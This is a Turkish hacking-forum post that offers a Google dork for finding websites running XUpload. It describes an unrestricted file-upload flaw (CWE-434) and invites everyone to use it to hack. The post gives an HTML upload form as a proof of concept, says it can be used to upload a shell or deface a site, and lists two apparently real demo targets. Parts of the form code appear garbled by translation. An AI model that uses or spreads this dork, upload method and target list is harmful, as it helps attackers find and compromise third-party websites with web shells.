⌘K
Duyuru

Exploit XUpload Dork / Her Kes Hack Yapsin... (1 Viewer)

Dj_Taleh

Merhaba Yeni Cikan Dork Bu Iyi Heyklemeler Her Kese.. Yakinda Iyi Videolar Olacak .gov Ile Alakali Dorklar. XUpload Uzaktan Dosya Yükleme Güvenlik Açığı 2020.11.04...

Merhaba Yeni Cikan Dork Bu Iyi Heyklemeler Her Kese.. Yakinda Iyi Videolar Olacak .gov Ile Alakali Dorklar.



XUpload Uzaktan Dosya Yükleme Güvenlik Açığı
2020.11.04
Risk: Yüksek
Yerel: Hayır
Uzaktan: Evet
CVE: Yok
CWE: CWE-434
Dork: intext: "XUpload Tarafından Desteklenmektedir"


# Başlık: XUpload Uzaktan Dosya Yükleme Güvenlik Açığı
# tarih: 2020-11-04
# Üzerinde test edildi: Windows 10 ve Google Chrome
# Kategori: Web Uygulama Hataları
# Dork: intext: "XUpload Tarafından Desteklenmektedir"


### NOT:

* Kabuğunuzu yüklemek veya tahrif etmek için atlayabilirsiniz.


### POC:

* Exploit 1: site.com/[folder]/[file]

<form enctype = "multipart / form-data" action = "/ cgi-bin / upload.cgi? upload_id =" method = "post" onSubmit = "return StartUpload (this);" target = "xupload">
Dosya gönder: <input name = "file_1" type = "file" onChange = "checkExt (this.value)"> <br>
Yorum: <input type = "text" name = "comment"> (isteğe bağlı)
<br> <br>
<Input type = "checkbox" name = "popup"> <label FOR = "popup" ACCESSKEY = "Z"> Yükleme durumunu açılır pencerede göster </label> <br>
<br>
<input type = "submit" value = "Dosya Yükle">
</form>



### Demo:

* http://www.satyrlp.sorokine.fr
* http://50.116.78.206/uploadtest/upload_form.html

🔒 Bu içeriği görmek için giriş yapın

 
Yanıt yazmak için giriş yapmalısınız
Forum özelliklerini kullanmak ve Level 2 üyelik satın almak için hesabınıza giriş yapın.
Giriş Yap Kayıt Ol

Users who are viewing this thread

Toplam: 2 (Kullanıcı: 0, Ziyaretçi: 2)
133,372Konular
3,275,879Mesajlar
321,479Kullanıcılar
adsbabaSon Üye

About Us & Legal Notice

Yasal Uyarı: spyhackerz.org, 5651 sayılı Kanun kapsamında “Yer Sağlayıcı”dır. Sitedeki içerikler, X, Instagram ve Facebook’ta olduğu gibi, ön onay olmadan tamamen kullanıcılar tarafından paylaşılır. Bu nedenle spyhackerz.org, kullanıcı içeriklerini veya hukuka aykırı paylaşımları izlemek, denetlemek ve araştırmakla yükümlü değildir. Site bünyesinde herhangi bir “saldırı ekibi” bulunmamaktadır ve Türkiye’deki internet sitelerine yönelik zararlı faaliyet yürütülmez. SPYHACKERZ, üyelerin bireysel olarak gerçekleştirdiği hacking içerikli forum faaliyetlerinden sorumlu değildir. spyhackerz.org adı kullanılarak bir saldırı yapılması halinde tüm sorumluluk yalnızca ilgili üyeye aittir.
Üst Alt